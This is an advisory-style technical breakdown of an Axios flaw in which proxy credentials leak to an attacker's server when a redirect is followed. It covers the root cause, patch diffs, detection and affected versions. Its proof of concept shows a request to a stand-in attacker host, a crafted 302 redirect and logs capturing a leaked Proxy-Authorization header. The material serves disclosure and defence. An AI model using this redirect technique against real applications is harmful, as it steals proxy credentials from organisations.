Axios CVE-2026-44486: Proxy Credential Leakage via Redirect Handling in Node.js — Technical Breakdown with PoC and Patch Analysis

Introduction

A subtle flaw in how Axios handles proxy credentials during HTTP redirects means that any Node.js application sending requests through an authenticated proxy could silently forward those credentials to an attacker controlled server. With over 100 million weekly npm downloads, Axios is the most widely used JavaScript HTTP client, and this vulnerability (CVSS 7.5) affects every version in the 1.x line prior to 1.16.0 and every version in the 0.x line prior to 0.32.0, making the potential blast radius considerable for enterprise environments that rely on proxy authentication for egress traffic control.

Technical Information

Root Cause

The vulnerability lives in the setProxy() function within lib/adapters/http.js of the Axios Node.js HTTP adapter. This function is responsible for determining whether a given request should be routed through a proxy and, if so, configuring the appropriate connection options and headers, including the Proxy-Authorization header when the proxy requires authentication.

When Axios follows an HTTP redirect (which is enabled by default), it re-invokes setProxy() through the beforeRedirects.proxy hook to re-evaluate proxy settings for the new target URL. The problem arises when the redirect target resolves to "no proxy." This can happen in several common scenarios:

• The initial request goes to an http:// URL routed through HTTP_PROXY, but the redirect target is an https:// URL and HTTPS_PROXY is not set.
• The redirect target matches an entry in the NO_PROXY environment variable.

In vulnerable versions, when setProxy() determines that no proxy is needed for the redirect target, it simply returns without modifying the request headers. It neither adds new proxy configuration nor clears the stale Proxy-Authorization header that was set during the initial request. The header persists on the redirected request and is sent directly to the redirect target as a standard HTTP header, fully exposing the proxy credentials.

In the vulnerable code, the beforeRedirects.proxy callback called setProxy() with three arguments:

setProxy(redirectOptions, configProxy, redirectOptions.href);

The function signature accepted only those three parameters:

function setProxy(options, configProxy, location) {

There was no mechanism to distinguish a redirect re-evaluation from an initial proxy setup, and no logic to clean up headers from a previous proxy configuration.

Attack Flow

The CVSS v3.1 vector string is CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N. The attack is network based, requires low complexity, needs no privileges or user interaction, and results in high confidentiality impact with no integrity or availability impact.

Exploitation requires three preconditions:

1. The victim application uses the Axios Node.js HTTP adapter with an authenticated proxy configured (e.g., via HTTP_PROXY=http://user:[email protected]:8080).
2. Automatic redirect following is enabled, which is the default behavior in Axios.
3. The redirect target resolves to a direct connection rather than through the proxy (e.g., HTTPS_PROXY is unset, or the target matches NO_PROXY).

The attack proceeds as follows:

1. The attacker sets up an HTTP server at a URL the victim application will request (or compromises/controls such an endpoint).
2. The victim's Node.js application makes a request to the attacker's HTTP endpoint. Because HTTP_PROXY is configured with credentials, Axios adds a Proxy-Authorization header and routes the request through the proxy.
3. The attacker's server responds with a 302 redirect pointing to an HTTPS URL under the attacker's control.
4. Axios follows the redirect. The beforeRedirects.proxy hook calls setProxy() to re-evaluate proxy settings. Because HTTPS_PROXY is not set, setProxy() determines no proxy is needed and returns without clearing the Proxy-Authorization header.
5. The redirected HTTPS request is sent directly to the attacker's server, carrying the stale Proxy-Authorization: Basic dXNlcjpwYXNz header.
6. The attacker reads the header value, base64 decodes it, and obtains the proxy credentials (user:pass).

CWE Classification

The vulnerability is classified as CWE-200: Exposure of Sensitive Information to an Unauthorized Actor. This accurately reflects the core risk: proxy authentication credentials (usernames, passwords, or API tokens) are disclosed to parties who should not receive them.

Related Vulnerability: CVE-2026-44487

A companion vulnerability, CVE-2026-44487 (GHSA-p92q-9vqr-4j8v), also affects Axios' proxy handling. While CVE-2026-44486 involves the proxy being re-evaluated to a direct connection, CVE-2026-44487 involves proxy credentials leaking to origin servers when an HTTP request is redirected to HTTPS. Both vulnerabilities were fixed in the same release cycle and should be addressed together.

Proof of Concept

A public proof of concept is available directly within the official GitHub Security Advisory (GHSA-j5f8-grm9-p9fc).

The attacker scenario begins with a victim Node.js application configured as follows:

// Victim Node.js application
process.env.HTTP_PROXY = 'http://user:[email protected]:8080';
delete process.env.HTTPS_PROXY;

await axios.get('http://attacker.example/start');

The attacker controlled HTTP endpoint at http://attacker.example/start responds with a redirect:

HTTP/1.1 302 Found
Location: https://attacker.example/final

On vulnerable versions, the redirected HTTPS request to https://attacker.example/final carries the stale proxy credential:

Proxy-Authorization: Basic dXNlcjpwYXNz

On fixed versions (1.16.0 and later, 0.32.0 and later), the Proxy-Authorization header is stripped before the redirect is followed.

The observable output on vulnerable versions, as documented in the advisory:

[corp-proxy] Proxy-Authorization received: Basic dXNlcjpwYXNz
[attacker-http] GET /start
[attacker-https] GET /final
[attacker-https] Proxy-Authorization received: Basic dXNlcjpwYXNz
Leak reproduced: Proxy-Authorization was sent to the attacker HTTPS origin.

The relevant fix patch from commit afca61a in lib/adapters/http.js shows the core change:

-function setProxy(options, configProxy, location) {
+function setProxy(options, configProxy, location, isRedirect) {
   let proxy = configProxy;
   if (!proxy && proxy !== false) {
     const proxyUrl = getProxyForUrl(location);
@@ -204,6 +204,17 @@
     }
   }
+  // On redirect re-invocation, strip any stale Proxy-Authorization header
+  if (isRedirect && options.headers) {
+    for (const name of Object.keys(options.headers)) {
+      if (name.toLowerCase() === 'proxy-authorization') {
+        delete options.headers[name];
+      }
+    }
+  }

The beforeRedirects.proxy hook was updated to pass true for the isRedirect parameter:

-    setProxy(redirectOptions, configProxy, redirectOptions.href);
+    setProxy(redirectOptions, configProxy, redirectOptions.href, true);

Patch Information

The vulnerability was addressed with two separate commits, one for the v1.x line and one backported to the v0.x line, both authored by maintainer Jay Saayman.

v1.x Fix: Commit afca61a (April 22, 2026), Released in v1.16.0

The fix expands the setProxy() function signature to accept an isRedirect flag. When isRedirect is true, a new block runs before any proxy configuration is re-applied. This block iterates over all existing header keys and performs a case-insensitive check, deleting any variant of proxy-authorization:

if (isRedirect && options.headers) {
  for (const name of Object.keys(options.headers)) {
    if (name.toLowerCase() === 'proxy-authorization') {
      delete options.headers[name];
    }
  }
}

An important behavioral nuance: this cleanup only fires on redirects (isRedirect === true), so user-supplied Proxy-Authorization headers on the initial request are preserved. The commit also includes an extensive test suite covering multiple scenarios: redirecting from an authenticated proxy to a direct connection, NO_PROXY excluded targets, switching between proxies with different credentials, and ensuring case-insensitive header removal works for all casing variants like PROXY-AUTHORIZATION, proxy-authorization, and pRoXy-AuThOrIzAtIoN.

v0.x Backport: Commit 2af6116 (May 3, 2026), Released in v0.32.0

The v0.x branch uses older CommonJS-style code and a slightly different architecture. Rather than adding an isRedirect parameter, the backport introduced a standalone helper function:

function removeProxyAuthorization(headers) {
  Object.keys(headers).forEach(function removeHeader(header) {
    if (header.toLowerCase() === 'proxy-authorization') {
      delete headers[header];
    }
  });
}

This helper is called in two critical locations within setProxy(): first, unconditionally when the proxy resolves to null/false (the "no proxy" path), ensuring any stale header from a previous request phase is cleaned up; and second, just before setting new proxy credentials, to guarantee a clean slate and prevent credential mixing across proxies.

Both fixes are available in their respective release tags: v1.16.0 and v0.32.0. All subsequent versions (including the latest 1.17.0) include this fix.

Detection Methods

Dependency Scanning and Software Composition Analysis

The most reliable detection method is version-based detection through SCA tooling. The vulnerability has well-defined affected version ranges, and standard tooling like npm audit, GitHub Dependabot, Snyk, and GitLab Dependency Scanning all have advisories for GHSA-j5f8-grm9-p9fc. GitLab's advisory database explicitly confirms its Dependency Scanning feature covers this CVE. Running npm audit against any project with a vulnerable Axios version in its dependency tree should surface this finding automatically.

Static Code Analysis

For teams that want to verify their codebase directly, the vulnerability resides specifically in the setProxy() function within lib/adapters/http.js. In vulnerable versions, this function accepts three parameters (options, configProxy, location) and does not clear stale Proxy-Authorization headers when re-invoked during a redirect. The fix modifies the function signature to accept a fourth isRedirect boolean parameter. A SAST rule or manual code review that checks whether setProxy() includes the redirect-aware header cleanup logic can distinguish patched from vulnerable installations. Specifically, look for the presence of the case-insensitive header deletion loop. In vulnerable code, the beforeRedirects.proxy callback calls setProxy(redirectOptions, configProxy, redirectOptions.href) without the fourth true argument.

Network Traffic Analysis

The behavioral indicator of exploitation is the presence of a Proxy-Authorization header on an outbound HTTPS request to a non-proxy destination, particularly one that arrives immediately after an HTTP 3xx redirect response. In a normal flow, Proxy-Authorization should only appear in requests sent directly to a proxy server during the CONNECT tunnel setup; it should never be forwarded to the final origin. If your network monitoring infrastructure can inspect outbound traffic from Node.js services, watching for Proxy-Authorization headers on direct (non-proxy) HTTPS connections could indicate either active exploitation or a vulnerable configuration. However, this is inherently difficult because the leaked header travels over a legitimate HTTPS connection to the redirect target, and unless you are performing TLS inspection on egress, the header content will be encrypted.

Detection Tooling Gaps

No formal IDS/IPS signatures exist for this CVE at the time of writing. A search of Snort's rule documentation returns no results for CVE-2026-44486, and no Sigma, Suricata, or YARA rules targeting this specific vulnerability have been published in public repositories. Tenable has catalogued the CVE but currently lists no Nessus detection plugins for it. Miggo advertises WAF protection rules for CVE-2026-44486, but these are gated behind their commercial platform and not publicly available.

Affected Systems and Versions

The vulnerability is confined to the Node.js HTTP adapter only. Browser adapters (XHR and fetch) are not affected.

The vulnerable configuration requires:

• Axios used in a Node.js environment (not browser)
• An authenticated proxy configured via environment variables (e.g., HTTP_PROXY with credentials) or Axios proxy configuration
• Automatic redirect following enabled (the default; maxRedirects is not set to 0)
• A condition where the redirect target resolves to a direct connection (e.g., HTTPS_PROXY is unset while HTTP_PROXY is set, or the redirect target matches NO_PROXY)

Organizations should note that Axios is a transitive dependency in many frameworks and toolchains, so indirect dependencies may also be vulnerable.

Vendor Security History

Axios' security posture in 2026 has been marked by multiple significant incidents:

The March 2026 supply chain attack was particularly notable. The attacker compromised jasonsaayman's npm account and published malicious Axios versions containing a RAT. CSA Singapore, CISA, Orca Security, JFrog, Huntress, and StepSecurity all issued advisories. Huntress observed over a hundred affected devices in the wild. The concentration of npm publish access on a single maintainer was identified as a contributing factor.

Every Axios 1.x CVE disclosed since 1.0.0 affects every prior 1.x version up to the patch, meaning there is no "safe" old minor version in the 1.x line for this class of vulnerability. Organizations should evaluate whether their reliance on Axios is proportionate to its current risk profile, and consider additional supply chain security controls such as npm trusted publishing verification and lockfile integrity checks.

References

• GitHub Security Advisory GHSA-j5f8-grm9-p9fc
• NVD: CVE-2026-44486
• CVE Record: CVE-2026-44486
• GitHub Advisory Database: GHSA-j5f8-grm9-p9fc
• GitHub API Advisory: GHSA-j5f8-grm9-p9fc
• v1.x Fix Commit: afca61a
• v0.x Backport Commit: 2af6116
• GitLab Advisory Database: CVE-2026-44486
• Tenable: CVE-2026-44486
• Miggo Vulnerability Database: CVE-2026-44486
• Cybersecurity Help: CVE-2026-44486
• Vulners: GHSA-J5F8-GRM9-P9FC
• Snyk: axios npm package
• HeroDevs: Axios Versions, CVEs, and Safe Upgrade Path
• HeroDevs: The Axios Compromise
• Huntress: Supply Chain Compromise of axios npm Package
• Orca Security: Axios Supply Chain Attack
• Trend Micro: Axios NPM Package Compromised
• CSA Singapore: Critical Vulnerability in Axios
• CVE-2026-44487 Related Advisory: GHSA-p92q-9vqr-4j8v